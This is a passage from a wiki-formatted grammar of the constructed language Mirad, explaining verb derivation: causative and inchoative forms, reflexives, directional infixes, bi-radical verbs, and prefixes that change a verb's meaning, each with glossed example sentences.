| '''Ha dezun &lt;u&gt;ijaye&lt;/u&gt;.'''&lt;br&gt;''The play &lt;u&gt;has started&lt;/u&gt;.''||'''Ha par &lt;u&gt;ijpa&lt;/u&gt; boy poys.'''&lt;br&gt;''The car &lt;u&gt;started up&lt;/u&gt; immediately.'' ||'''At &lt;u&gt;ijba&lt;/u&gt; ata tyal.'''&lt;br&gt;''I &lt;u&gt;started&lt;/u&gt; my meal.''||'''Ha tyal &lt;u&gt;ijbwa&lt;/u&gt; jwa.'''&lt;br&gt;''The meal &lt;u&gt;was started&lt;/u&gt; early.''
|-
| '''Ha dezun &lt;u&gt;ujaye&lt;/u&gt;.'''&lt;br&gt;''The play has &lt;u&gt;ended&lt;/u&gt;.''||'''Ata yex &lt;u&gt;ujpaye&lt;/u&gt;.'''&lt;br&gt;''My work &lt;u&gt;has come to an end&lt;/u&gt;.'' || '''A &lt;u&gt;ujba&lt;/u&gt; ha dyes.'''&lt;br&gt;''I &lt;u&gt;finished&lt;/u&gt; the book.''||'''Ha dyes hyoj &lt;u&gt;ujbwa&lt;/u&gt;.'''&lt;br&gt;''The book never &lt;u&gt;got finished&lt;/u&gt;.''
|-
| '''Ha tob &lt;u&gt;toja&lt;/u&gt; zomoj.'''&lt;br&gt;''The man &lt;u&gt;died&lt;/u&gt; yesterday evening.''||'''Ha tob &lt;u&gt;tojpa&lt;/u&gt;.'''&lt;br&gt;''The man &lt;u&gt;dropped dead.&lt;/u&gt;'' || '''Hot &lt;u&gt;tojba&lt;/u&gt; ha twob?'''&lt;br&gt;''Who &lt;u&gt;killed&lt;/u&gt; the man?''||'''Ha twob &lt;u&gt;tojbwa&lt;/u&gt; bey ita tayd.'''&lt;br&gt;''The man &lt;u&gt;was killed&lt;/u&gt; by his wife.''
|-
| '''&lt;u&gt;Teju&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Live!&lt;/u&gt;.''||'''&lt;u&gt;Tejpu!&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Come alive!&lt;/u&gt;.'' || '''Yat efe &lt;u&gt;tejber&lt;/u&gt; ha twob.'''&lt;br&gt;''We need to &lt;u&gt;revive&lt;/u&gt; the man.''||'''Ha twob yofwa &lt;u&gt;tejbwer&lt;/u&gt;.'''&lt;br&gt;''The man could not &lt;u&gt;be revived&lt;/u&gt;.''
|-
| '''Ha tobot &lt;u&gt;taja&lt;/u&gt; zojub.'''&lt;br&gt;''The baby &lt;u&gt;was born&lt;/u&gt; yesterday.'' || '''Hoj ha tobot &lt;u&gt;tajpo&lt;/u&gt;?'''&lt;br&gt;''When &lt;u&gt;will&lt;/u&gt; the baby &lt;u&gt;pop out&lt;/u&gt;?'' || '''Iyt &lt;u&gt;tajba&lt;/u&gt; awa twobot zojub.'''&lt;br&gt;''She &lt;u&gt;gave birth&lt;/u&gt; to a baby boy yesterday.''||'''Ha twobot &lt;u&gt;tajbwa&lt;/u&gt; jo eymoj.'''&lt;br&gt;''The baby boy was &lt;u&gt;birthed&lt;/u&gt; after midnight.''
|-
| '''At &lt;u&gt;tija&lt;/u&gt; jwe.'''&lt;br&gt;''I &lt;u&gt;woke up&lt;/u&gt; on time.''||'''It voy &lt;u&gt;tijpa&lt;/u&gt;.'''&lt;br&gt;''He did not &lt;u&gt;come to.&lt;/u&gt;.'' || '''At &lt;u&gt;tijbo&lt;/u&gt; et jwa.'''&lt;br&gt;''I will &lt;u&gt;wake (you) up&lt;/u&gt; early.''||'''At voy fe &lt;u&gt;tijbwo&lt;/u&gt; gra jwa.'''&lt;br&gt;''I don't want to &lt;u&gt;be woken&lt;/u&gt; too early.''
|-
| '''At &lt;u&gt;tujeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;sleeping.&lt;/u&gt;''||'''At &lt;u&gt;tujpeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;falling sleep&lt;/u&gt;.'' || '''At &lt;u&gt;tujbo&lt;/u&gt; it.'''&lt;br&gt;''I will &lt;u&gt;put (him) to sleep.&lt;/u&gt;.''||'''Ha tobot &lt;u&gt;tujbwo&lt;/u&gt; glojo.'''&lt;br&gt;''The baby &lt;u&gt;will be put to sleep&lt;/u&gt; soon.''
|}

== Reflexive Verbs ==
[[File:TWC Hokitika Gorge • Stewart Nimmo • MRD 1.jpg|thumb|]]
: Reflexive verbs, where the object refers back to the subject, work just as in English, where the object is a reflexive pronoun, eg.:

::* '''At tujboye aut.'''....''I am going to kill myself.''
::* '''Tru eut!'''....''Know thyself!''
::* '''It gobla iut bey goblar.'''....''He cut himself with a knife.''
::* '''Ot yefe yuxer out.'''....''One must help oneself.''

: Sometimes, verbs are reflexive lexically and incorporate the reflexivity in the actual verb form using '''ut''' as the prefix:

::* '''uttujber'''....''commit suicide (= self-kill)''
::* '''utboler'''....''support oneself (= self-support)''
::* '''utdider'''....''wonder (= self-ask)''

: Sometimes, verbs are used reflexively in Mirad even though they are used simply intransitively in English, eg.:

::* '''Et efe &lt;u&gt;vyilxer eut&lt;/u&gt;.'''....''You need to wash up [= &lt;u&gt;wash yourself&lt;/u&gt;].'' (or)
::* '''Et efe &lt;u&gt;utvyilxer&lt;/u&gt;.'''....''You need to wash up  [= &lt;u&gt;self-wash&lt;/u&gt;].''

== Omission of Prepositions After Certain Verbs ==

:: Some verbs inherently incorporate a preposition and so it is not necessary to use that assumed preposition before what would normally be an indirect object.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Inherent Propositions
|-
! Preposition-Incorporating Verb !! Example
|-
| '''per'''....''go (to)'' || '''Pu tam!''' (Not: '''Pu bu tam!''') ''Go home.''&lt;br&gt;'''It pa Paris.'''....''He went to Paris.''
|-
| '''der'''....''say (to), tell'' || '''Du at eta dyun.'''....''Tell me your name.''&lt;br&gt;'''Du at has.'''....''Tell it to me.''
|-
| '''peser'''....''wait (for)'' || '''Pesu at.'''....''Wait for me.''
|-
| '''buer'''....''give (to)'' || '''Buu at hua dyes.'''....''Give me that book.''
|}

:: As in English, in omitting the inherent preposition in a sentence with both a direct object and an indirect object, place the indirect object before the direct object. If the direct object comes first, then the preposition must be overtly specified before the indirect object, eg. '''Buu &lt;u&gt;at&lt;/u&gt; hus.'''....''Give me that.'' or '''Buu hus &lt;u&gt;bu at&lt;/u&gt;.'''....''Give that &lt;u&gt;to me&lt;/u&gt;.''  See more about this in the chapter on [[Mirad_Grammar/Syntax|Syntax]].

== Causative vs. Inchoative Verbs ==
: A causative verb has the sense ''to make something have some quality'', whereas an inchoative verbs means ''to become or take on the quality of something.''

=== Derived from Adjectives ===

: Adjectives can be converted into transitive/causative and intransitive/inchoative verbs.  Causative verbs are always transitive (taking an object), while inchoative verbs are intransitive (not taking an object).  English causative / inchoative verbs often end in ''-ify'' like ''magnify'', or ''-ate'', ''liberate'', or ''ize'', like ''sensitize''.

: To derive a causative verb from an adjective, add the suffix '''-xer'''....''to do'' to either the stem or the whole adjective (with the '''a''' ending).  Whether you do the former or the latter depends on several factors, but the end result is slightly different in nuance.  A verb with adjective stem + '''-xer''' is slightly more idiomatic or less literal than the adjective stem + '''axer'''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ -axer vs -xer in Transitive Verbs
|-
! Adjective !! Causative/Transitive !! Causative/Transitive
|-
! '''-xer''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to magnify'' || '''agxer'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to unify'' || '''anxer'''&lt;br&gt;''to unite''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to separate'' || '''yonxer'''&lt;br&gt;''to cut''
|-
| '''yaga'''&lt;br&gt;''long'' || '''yag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to lengthen'' || '''yagxer'''&lt;br&gt;''to stretch''
|-
| '''yuga'''&lt;br&gt;''slow'' || '''yug&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to retard'' || '''yugxer''' &lt;br&gt;''to brake''
|-
| '''sana'''&lt;br&gt;''formal'' || '''san&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to formalize'' || '''sanxer'''&lt;br&gt;''to form''
|-
| '''gea'''&lt;br&gt;''equal'' || '''ge&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to equalize'' || '''gexer'''&lt;br&gt;''to equal, equate''
|-
| '''jaa'''&lt;br&gt;''prior'' || '''ja&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to prioritize'' || '''jaxer'''&lt;br&gt;''to prepare''
|-
| '''aota'''&lt;br&gt;''personal'' || '''aot&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to personalize'' || '''aotxer'''&lt;br&gt;''to personify''
|}

: To derive an inchoative verb from an adjective, add the suffix '''ser'''....''to be'' to either the stem or the whole adjective.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Creating Inchoative Verbs
|-
! Adjective !! Inchoative/Intransitive !! Inchoative/Intransitive
|-
! '''-ser''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to get bigger'' || '''agser'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to unify'' || '''anser'''&lt;br&gt;''to unite, become united''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to become separate'' || '''yonser'''&lt;br&gt;''to break''
|-
|}
: Be careful to use the transitive, causative verb form when you have a direct object, and the intransitive, inchoative verb form when no direct objects are present or possible, eg.:
::* '''&lt;u&gt;Ansu&lt;/u&gt; ey yet golxwo.'''....''&lt;u&gt;Unite&lt;/u&gt; or you will be divided.'' [INTRANSITIVE]
::* '''At &lt;u&gt;yontadsa&lt;/u&gt; hoj at sa eta jag.'''....''I &lt;u&gt;got divorced&lt;/u&gt; when I was your age.'' [INTRANSITIVE]
::* '''Hisi &lt;u&gt;agaxo&lt;/u&gt; hos et teate.'''....''These &lt;u&gt;will magnify&lt;/u&gt; what you see.'' [TRANSITIVE]
::* '''Hia tud &lt;u&gt;agseye&lt;/u&gt; ig.'''....''This child &lt;u&gt;is growing up&lt;/u&gt; fast.'' [INTRANSITIVE]
::* '''Ata tayd &lt;u&gt;agxe&lt;/u&gt; vosi be oyebzom.'''....''My wife &lt;u&gt;grows&lt;/u&gt; flowers out back.'' [TRANSITIVE]

=== Derived from Nouns ===

: Transitive/causative/active and intransitive/inchoative/passive verbs can also be formed from nouns.  The sense of the former is ''to make be X'' and of the latter, ''to become X''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verbs Derived from Nouns
|-
! Noun !! Transitive/Causative/Active !! Intransitive/Inchoative/Passive
|-
| '''mog'''....''ash'' || '''mogxer'''&lt;br&gt;''to incinerate'' || '''mogser'''&lt;br&gt;''to become ashes''
|-
| '''yan'''....''collection'' || '''yanxer'''&lt;br&gt;''to collect'' || '''yanser'''&lt;br&gt;''to get together''
|-
| '''tad'''....''spouse'' || '''tadxer'''&lt;br&gt;''to marry'' || '''tadser'''&lt;br&gt;''to get married''
|-
| '''yom'''....''ice'' || '''yomxer'''&lt;br&gt;''to freeze/make ice'' || '''yomser'''&lt;br&gt;''to freeze/become ice''
|-
| '''mag'''....''fire'' || '''magxer'''&lt;br&gt;''to burn, set fire to'' || '''magser'''&lt;br&gt;''to burn, get burned''
|-
| '''uk'''....''void'' || '''ukxer'''&lt;br&gt;''to empty'' || '''ukser'''&lt;br&gt;''become empty, empty out''
|}

=== Intermediary Causative Verbs ===

: Intermediary verbal causatives like ''have/get my car washed'', ''make/force him go'', ''get one's hair cut'' are formed by suffixing the causative verb infix '''-ux-''' (active) or '''uxw''' (passive) to the stem of the verb signifying the action to be arranged or caused by someone other than the subject, eg.:

::* '''At gobl&lt;u&gt;ux&lt;/u&gt;o ata tayeb zajub.'''....''I will get my hair cut tomorrow.''
::* '''Et voy yafe p&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me go.''
::* '''It tojb&lt;u&gt;ux&lt;/u&gt;a yit.'''....''He had them killed.''
::* '''At efe vyilx&lt;u&gt;ux&lt;/u&gt;er ata pur.'''....''I need to have my car washed.''
::* '''Et up&lt;u&gt;ux&lt;/u&gt;wa him av hes.'''....''You were made to come here for some reason.''
::* '''At bakamb&lt;u&gt;ux&lt;/u&gt;o et.'''....''I will have you hospitalized.''
::* '''Et voy yafe deuz&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me sing.''
::* '''At hihid&lt;u&gt;ux&lt;/u&gt;wa.'''....''I was tickled (= made to laugh).''
::* '''Eta deuz hihid&lt;u&gt;ux&lt;/u&gt;a yat.'''....''Your song tickled us. (= Made us laugh.)''
::* '''Van het ivas&lt;u&gt;ux&lt;/u&gt;u weti.'''....''May someone get you guys to be happy.''
::* '''Hua enzyukpur uzp&lt;u&gt;ux&lt;/u&gt;a yata pur.'''....''That motorcycle caused our car to veer.''

== Subject-directed vs. Patient-directed Verbs ==
: The directionality of some verbs can be distinguished by the verbal formant infix '''-i-''' for an action or motion toward the speaker and '''-u-''' for an action or motion away from the speaker toward some patient, eg.:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Directional Verbs
|-
! Subject-directed !! Patient-directed
|-
| '''b&lt;u&gt;i&lt;/u&gt;er'''....''to take'' || '''b&lt;u&gt;u&lt;/u&gt;er'''....''to give''
|-
| '''nier'''....''to consume'' || '''nuer'''....''to supply''
|-
| '''nyier'''....''to order'' || '''nyuer'''....''to deliver''
|-
| '''nazunier'''....''win a prize'' || '''nazunuer'''....''award a prize''
|-
| '''noysier'''....''pay off'' || '''noysuer'''....''charge''
|-
| '''ojbier'''....''borrow'' || '''ojbuer'''....''lend''
|-
| '''tadier'''....''get married'' || '''taduer'''....''marry off''
|-
| '''papier'''....''take flight'' || '''papuer'''....''send off flying''
|-
| '''pipier'''....''set sail'' || '''pipuer'''....''dock''
|-
| '''simbier'''....''take a seat'' || '''simbuer'''....''offer a seat''
|-
| '''tampier'''....''leave home'' || '''tampuer'''....''arrive home''
|-
| '''tamier'''....''settle in'' || '''tamuer'''....''shelter''
|-
| '''nuxbier'''....''to buy'' || '''nixbuer'''....''to sell''
|-
| '''telier'''....''to eat'' || '''teluer'''....''to feed''
|-
| '''gonbier'''....''to participate'' || '''gonbuer'''....''to share''
|-
| '''tilier'''....''to drink'' || '''tiluer'''....''to ply with drink''
|-
| '''teubier'''....''to swallow'' || '''teubuer'''....''to spit out''
|-
| '''teatier'''....''to observe, watch'' || '''teatuer'''....''to show''
|-
| '''taxier'''....''to memorize'' || '''taxuer'''....''to remind''
|-
| '''alier'''....''to breathe in'' || '''aluer'''....''to breathe out, expire''
|-
| '''ilier'''....''to absorb'' || '''iluer'''....''to pour''
|-
| '''ifier'''....''to enjoy'' || '''ifuer'''....''to please''
|-
| '''dier'''....''to ask'' || '''duer'''....''to suggest''
|-
| '''tier'''....''to learn'' || '''tuer'''....''to inform''
|-
| '''pier'''....''to depart'' || '''puer'''....''to arrive''
|-
| '''kebier'''....''to choose'' || '''kebuer'''....''to distribute''
|-
| '''byier'''....''to originate'' || '''byuer'''....''to target''
|-
| '''mempier'''....''to take off'' || '''mempuer'''....''to land''
|-
| '''sinier'''....''visualize'' || '''sinuer'''....''display''
|-
| '''xier'''....''to result'' || '''xuer'''....''to cause''
|-
| '''yifier'''....''to get up the courage'' || '''yifuer'''....''to encourage, challenge''
|-
| '''yafonier'''....''to gain power'' || '''yafonuer'''....''to empower''
|-
| '''trier'''....''to become acquainted with'' || '''truer'''....''to acquaint with, introduce to''
|-
| '''tepzexier'''....''to draw attention'' || '''tepzexuer'''....''to focus attention on''
|-
| '''yekier'''....''to undertake'' || '''yekuer'''....''to challenge''
|-
| '''dyunier'''....''to assume the name of'' || '''dyunuer'''....''to bestow the name of''
|-
| '''abfinier'''....''to take advantage of'' || '''abfinuer'''....''to favor''
|-
| '''telier'''....''to eat'' || '''teluer'''....''to feed''
|-
| '''ilier'''....''to absorb'' || '''iluer'''...''to pour''
|}

: In some cases, the directionality can be both ways in a verb, in which case the verb formant infix '''-ui-''' (a hybrid form) is used, eg.:
::* '''nunier '''....''to purchase'' (subject-directed)
::* '''nunuer'''....''to sell'' (patient-directed)
::* '''nunuier'''....''to trade'' (subject &amp; patient-directed)

::* '''tier'''....''to learn, realize'' (subject-directed)
::* '''tuer'''....''to inform, tip off'' (patient-directed)
::* '''tuier'''....''to communicate'' (subject &amp; patient-directed)

::* '''alier'''....''to breathe in, inhale'' (subject-directed)
::* '''aluer'''....''to breathe out, exhale'' (patient-directed)
::* '''aluier'''....''to breathe, respire'' (subject &amp; patient-directed)

::* '''bier '''....''to take'' (subject-directed)
::* '''buer'''....''to give'' (patient-directed)
::* '''buier'''....''to give and take, exchange'' (subject &amp; patient-directed)

== Bi-radical Verbs ==
: Some verbs are formed using two verb roots together.  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Bi-radical Verbs
|-
! Verb Root 1 !! Verb Root 2 !! Bi-radical Verb
|-
| '''nuxer'''....''to pay'' || '''bier'''....''to take'' || '''nuxbier'''....''to buy''
|-
| '''nixer'''....''to earn'' || '''buer'''....''to give'' || '''nixbuer'''....''to sell''
|-
| '''kexer'''....''to seek'' || '''bier'''....''to take'' || '''kexbier'''....''to choose''
|-
| '''uper'''....''to come'' || '''dier'''....''to ask'' || '''updier'''....''to invite''
|-
| '''teater'''....''to see'' || '''der'''....''to tell'' || '''teader'''....''to testify''
|-
| '''teeter'''....''to hear'' || '''drer'''....''to write'' || '''teadrer'''....''to report''
|-
| '''teater'''....''to see'' || '''per'''....''to go'' || '''teaper'''....''to visit''
|-
| '''texer'''....''to think'' || '''der'''....''to say'' || '''texder'''....''to mention''
|-
| '''kexer'''....''to seek'' || '''pixer'''....''to catch'' || '''kexpixer'''....''to hunt''
|-
| '''yeker'''....''to try'' || '''teexer'''....''to listen'' || '''yekteexer'''....''to try (in court)''
|}

== Verbs with Vectorial Prefixes ==

: Prepositions and directional adverbs can be prefixed to verbs in order to change their vectorial semantics. A preposition ending in '''b''' will assimilate by losing the '''b''' before the verb '''per'''....''to go'' or the verb '''ber'''.  This assimilation does not occur for other verbs beginning with '''b''' such as '''byexer''' (''to hit''). A preposition ending in '''b''' will, however, assimilate (lose the '''b''') before any verb bases beginning with a '''p'''. For example, '''ab''' (''on'') + '''bexer''' (''to hold'') = '''obbexer''' (''to hold on''), because '''obexer''' could be interpreted as ''to release''.  Here are some examples:

:{| class=&quot;wikitable sortable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Prepositional Prefixes
|-
! Preposition/Adverb !!  Transitive Verb !! Intransitive Verb
|-
| '''ab'''....''on'' || '''aber'''....''apply''&lt;br&gt;not '''abber'''! || '''aper'''....''get on''&lt;br&gt;not '''abper'''!
|-
| '''ob'''....''off'' || '''ober'''....''remove'' || '''oper'''....''get off, dismount''
|-
| '''ab'''....''off'' || '''abbaxrer'''....''to rub on'' || '''apyexer'''....''to attack''
|-
| '''eb'''....''between'' || '''eber'''....''block'' || '''eper'''....''intervene''
|-
| '''eb'''....''between'' || '''ebdrayefser'''....''to interleave'' || '''ebdrafxer'''....''to interleave''
|-
| '''ub'''....''toward'' || '''uber'''....''to send'' || '''uper'''....''to come''
|-
| '''ub'''....''toward'' || '''ubbixer'''...''to attract'' || '''upixer'''....''to pitch toward''
|-
| '''yab'''....''up'' || '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''yob'''....''down'' || '''yober'''....''take down'' || '''yoper'''....''descend''
|-
| '''yub'''....''near'' || '''yuber'''....''bring near'' || '''yuper'''....''approach''
|-
| '''yib'''....''far'' || '''yiber'''....''take away'' || '''yiper'''....''go far away''
|-
| '''yeb'''....''in'' || '''yeber'''....''insert'' || '''yeper'''....''enter''
|-
| '''yeb'''....''in''  || '''yepuxer'''....''throw in'' || '''yepuser'''....''jump in''
|-
| '''oyeb'''....''out'' || '''oyeber'''....''expose'' || '''oyeper'''....''exit''
|-
| '''oyeb'''....''out'' || '''oyebbuxer'''....''expel'' || '''oyepuxer'''....''eject''
|-
| '''zyu'''....''round''  || '''zyuber'''....''rotate'' || '''zyuper'''....''revolve''
|-
| '''zya'''....''throughout'' || '''zyaber'''....''spread'' || '''zyaper'''....''tour''
|-
| '''av'''....''for'' || '''avdaler'''....''plead'' || '''avper'''....''pursue''
|-
| '''ov'''....''against'' || '''ovber'''....''oppose'' || '''ovper'''....''countervene''
|-
| '''yan'''....''together'' || '''yanber'''....''compose'' || '''yanper'''....''meet''
|-
| '''yon'''....''apart'' || '''yonber'''....''separate'' || '''yonper'''....''separate''
|-
| '''iz'''....''direct'' || '''izber'''....''lead'' || '''izper'''....''head''
|-
| '''uz'''....''curved'' || '''uzber'''....''divert'' || '''uzper'''....''diverge''
|-
| '''yuz'''....''around'' || '''yuzber'''....''surround'' || '''yuzper'''....''circulate''
|-
| '''yiz'''....''beyond'' || '''yizber'''....''transfer'' || '''yizper'''....''surpass''
|-
| '''zoy'''....''back, re-'' || '''zoyber'''....''return'' || '''zoyper'''....''go back''
|}

== Other Semantics-altering Verb Prefixes ==
: As in English and many other languages, prefixes can be used on verbs to reverse, mitigate, or otherwise alter the semantics:

=== Expressing ''re-'' with '''zoy-''' or '''gaw-''' ===
: The prefix '''zoy-'''....''back'' or '''gaw-&lt;sup&gt;1&lt;/sup&gt;'''....''again''  are used like the English prefix ''re-'', eg.:

::* '''ember'''....''to position'' → '''&lt;u&gt;zoy&lt;/u&gt;-ember'''....''to &lt;u&gt;re&lt;/u&gt;position, &lt;u&gt;re&lt;/u&gt;place''
::* '''buer'''....''to give'' → '''&lt;u&gt;zoy&lt;/u&gt;buer'''....''to &lt;u&gt;re&lt;/u&gt;turn (an object), give back''
::* '''sanxer'''....''to shape, form'' → '''&lt;u&gt;zoy&lt;/u&gt;sanxer'''....''to &lt;u&gt;re&lt;/u&gt;shape, &lt;u&gt;re&lt;/u&gt;form, &lt;u&gt;trans&lt;/u&gt;form''
::* '''zyauber'''....''to broadcast'' → '''gawzyauber'''....''to re-broadcast''
::* '''taja'''....''born'' → '''gawtaja'''....''reborn''
::* '''aber'''....''to apply'' → '''gawaber'''....''to reapply''
::* '''teaper'''....''to visit'' → '''&lt;u&gt;gaw&lt;/u&gt;teaper'''....''to &lt;u&gt;re&lt;/u&gt;visit''
::* '''uper'''....''to come'' → '''&lt;u&gt;zoy&lt;/u&gt;-uper&lt;sup&gt;2&lt;/sup&gt;'''....''to &lt;u&gt;re&lt;/u&gt;turn, come &lt;u&gt;back&lt;/u&gt;''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zoy&lt;/u&gt;buxer'''....''to &lt;u&gt;re&lt;/u&gt;pel, push &lt;u&gt;back&lt;/u&gt;''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to &lt;u&gt;re&lt;/u&gt;ject, throw &lt;u&gt;back&lt;/u&gt;, jettison''
: Note 1:  The prefix '''gaw-''' before a consonant is pronounced like the ''gaw'' in the English word ''gawk''.  It is short for '''ga awa jod''' or '''gawa''' meaning ''one more time, again''.  If the &quot;re-&quot; word means ''to do something again'', then '''gaw-''' is used, eg. ''To reconvene'' ( = ''meet again'')....'''gawyanuper'''  If the sense of ''back'' is intended, than the prefix '''zoy-''' is used, eg. ''To return'' ( = ''come back'')....'''zoyuper'''. Both prefixes are used in the expression ''Come back again!''....'''Gawzoyupu!'''.
: Note 2: The prefix '''zoy''' is followed by a prefix to make it clear that the prepositon is '''zoy''', not '''zo''' and that the base verb is '''uper''' (''come''), not '''yuper''' (''to approach'').

:''Until we meet again'' or ''au revoir'' is expressed by '''Ju gawyanup.'''

=== Expressing ''de-, dis-, un-'' with '''lo-''' ===
: The prefix '''lo-''' reverses the semantics of a verb and is like English ''dis-'', ''de-'', or ''un-'', eg.:

::* '''sexer'''....''to build, construct'' → '''&lt;u&gt;lo&lt;/u&gt;sexer'''....''to &lt;u&gt;de&lt;/u&gt;stroy, &lt;u&gt;de&lt;/u&gt;construct''
::* '''anxer'''....''to unite'' → '''&lt;u&gt;lo&lt;/u&gt;anxer'''....''to &lt;u&gt;dis&lt;/u&gt;unite''
::* '''xer'''....''to do'' → '''&lt;u&gt;lo&lt;/u&gt;xer'''....''to &lt;u&gt;un&lt;/u&gt;do''

: Note the difference between '''o-''' and '''lo-'''.

::* '''odoparuwa'''....''&lt;u&gt;un&lt;/u&gt;armed'' (= ''not armed'')
::* '''lodoparuwa'''....''&lt;u&gt;dis&lt;/u&gt;armed'' (= from the verb '''lodoparuer'''....''to disarm'')

=== Expressing ''co-'' with '''yan-''' ===
: The prefix '''yan-'''....''together'' is used as the English ''co-'', eg.:

::* '''exer'''....''to operate'' → '''&lt;u&gt;yan&lt;/u&gt;exer'''....''to &lt;u&gt;co&lt;/u&gt;operate''
::* '''tamer'''....''to dwell'' → '''&lt;u&gt;yan&lt;/u&gt;tamer'''....''to &lt;u&gt;co&lt;/u&gt;habit''
::* '''napber'''....''to put in order'' → '''&lt;u&gt;yan&lt;/u&gt;napber'''....''to &lt;u&gt;co&lt;/u&gt;ordinate''

=== Making Verbs Completive with '''ik-''' ===
: Verbs can be made completive or perfective by prefixing them with '''ik-''' (''fully'').  Such verbs are comparable to phrasal verbs in English with ''up'' and other prepositions as in ''to eat up''.  Here are some examples in Mirad:
::* '''tojber'''....''to kill'' → '''iktojber'''....''to kill off, exterminate''
::* '''telier'''....''to eat'' → '''iktelier'''....''to eat up''
::* '''ujber'''....''to finish'' → '''ikujber'''....''to finish off/up''
::* '''gofler'''....''to rip'' → '''ikgofler'''....''to rip up''
::* '''drer'''....''to write'' → '''ikdrer'''....''to write down''
::* '''byexer'''....''to beat'' → '''ikbyexer'''....''to beat up''
::* '''agser'''....''to grow'' → '''ikagser'''....''to grow up''

=== Making Verbs Continuative with '''je-''' ===
: Verbs can be given a continuative nuance with the addition of the prefix '''je-''':
::* '''daler'''....''to talk'' → '''jedalar'''....''to go on talking, to blabber''
::* '''tejer'''....''to live'' → '''jetejer'''....''to go on living, to survive''
::* '''yexer'''....''to work'' → '''jeyexer'''....''to go on working, to keep working''
::* '''teaxer'''....''to look'' → '''jeteaxer'''....''to watch''
::* '''teexer'''....''to listen'' → '''jeteexer'''....''to keep listening, to pay attention''
::* '''duler'''....''to insist'' → '''jeduler'''....''to nag''

=== Making Verbs Inchoative with '''ij-''' ===
: Verbs can be given an inchoative nuance with the addition of the prefix '''ij-''':
::* '''texer'''....''to think'' → '''ijtexer'''....''to start to think''
::* '''ifier'''....''to enjoy'' → '''ijifier'''....''to start liking''
::* '''tyer'''....''to know'' → '''ijtyer'''....''to get to know''

=== Making Verbs Terminative with '''uj-''' ===
: Verbs can be given a terminative nuance with the addition of the prefix '''uj-''':
::* '''telier'''....''to eat'' → '''ujtelier'''....''to finish eating''
::* '''dyeer'''....''to read'' → '''ujdyeer'''....''to finish reading''
::* '''ufteuder'''....''to complain'' → '''ujufteuder'''....''to quit carping''

=== Giving Verbs a Nuance of Pleasure with '''if-''' ===
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll''
::* '''tuyuxer'''....''to finger'' → '''iftuyuxer'''....''to tickle''
::* '''teaxer'''....''to look'' → '''ifteaxer'''....''to ogle (voyeuristically)''
::* '''piper'''....''to sail'' → '''ifpiper'''....''to go cruising''
::* '''teuder'''....''to shout'' → '''ifteuder'''....''to laugh''
::* '''eker'''....''to play'' → '''ifeker'''....''to have fun''

=== Giving Verbs a Nuance of Displeasure with '''uf-''' ===
::* '''tosier'''....''to feel'' → '''uftosier'''....''to get angry''
::* '''eker'''....''to play'' → '''ufeker'''....''to fight''
::* '''der'''....''to say'' → '''ufder'''....''to express displeasure''
::* '''aluer'''....''to exhale'' → '''ufaluer'''....''to huff''
::* '''daler'''....''to talk'' → '''ufdaler'''....''to rant''

=== Giving Verbs a Nuance of Prohibition with '''of-''' ===
::* '''bier'''....''to take'' → '''ofbier'''....''to steal''
::* '''deler'''....''to declare'' → '''ofdeler'''....''to ban''
::* '''yeper'''....''to enter'' → '''ofyeper'''....''to intrude, break in''
::* '''zeyper'''....''to cross'' → '''ofzeyper'''....''to transgress, poach''
::* '''gelxer'''....''to copy'' → '''ofgelxer'''....''to pirate, plagiarize''
::* '''bekuluer'''....''to administer medicine'' → '''ofbekuluer'''....''to dope''
::* '''nuxuer'''....''to pay'' → '''ofnuxuer'''....''to bribe, pay off, suborn''

=== Giving Verbs a Nuance of Holiness with '''fya-''' ===
::* '''bexler'''....''to keep'' → '''fyabexler'''....''to enshrine''
::* '''buer'''....''to give'' → '''fyabuer'''....''to sacrifice''
::* '''der'''....''to say'' → '''fyader'''....''to bless''
::* '''daler'''....''to speak'' → '''fyadaler'''....''to preach, sermonize''
::* '''diler'''....''to request'' → '''fyadiler'''....''to pray''
::* '''deuzer'''....''to sing'' → '''fyadeuzer'''....''to chant''
::* '''ifrer'''....''to love dearly'' → '''fyaifrer'''....''to worship, adore''
